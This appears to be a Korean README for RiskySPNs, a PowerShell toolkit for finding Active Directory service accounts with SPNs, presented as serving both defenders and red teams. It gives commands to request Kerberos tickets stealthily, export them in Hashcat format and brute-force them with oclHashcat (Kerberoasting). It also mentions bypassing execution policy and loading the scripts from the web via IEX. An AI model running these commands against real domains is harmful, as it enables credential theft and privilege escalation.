
위험한 SPN 감지 및 악용
RiskySPNs는 SPN(서비스 사용자 이름)과 관련된 계정을 탐지하고 악용하는 데 초점을 맞춘 PowerShell 스크립트 모음입니다. 이 모듈은 청팀이 잠재적으로 위험한 SPN을 식별하는 데 도움을 줄 뿐만 아니라, 적팀이 Kerberos 및 Active Directory를 활용하여 권한을 상승시키는 데에도 사용할 수 있습니다.
자세한 정보: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/
Import-Module .\RiskySPNs.psm1
또는 스크립트만 로드(웹에서 IEX로도 가능)
. .\Find-PotentiallyCrackableAccounts.ps1
Set-ExecutionPolicy가 Unrestricted 또는 Bypass로 설정되어 있는지 확인하세요.
Get-Help Get-TGSCipher -Full
모든 함수에는 -Verbose 모드도 있습니다.
취약한 계정 찾기
Find-PotentiallyCrackableAccounts
민감한 계정 + RC4 = $$$
취약 계정에 대한 상세 보고서 생성 (CISO <3)
Export-PotentiallyCrackableAccounts
SPN에 대한 Kerberos TGS 요청
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
또는
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3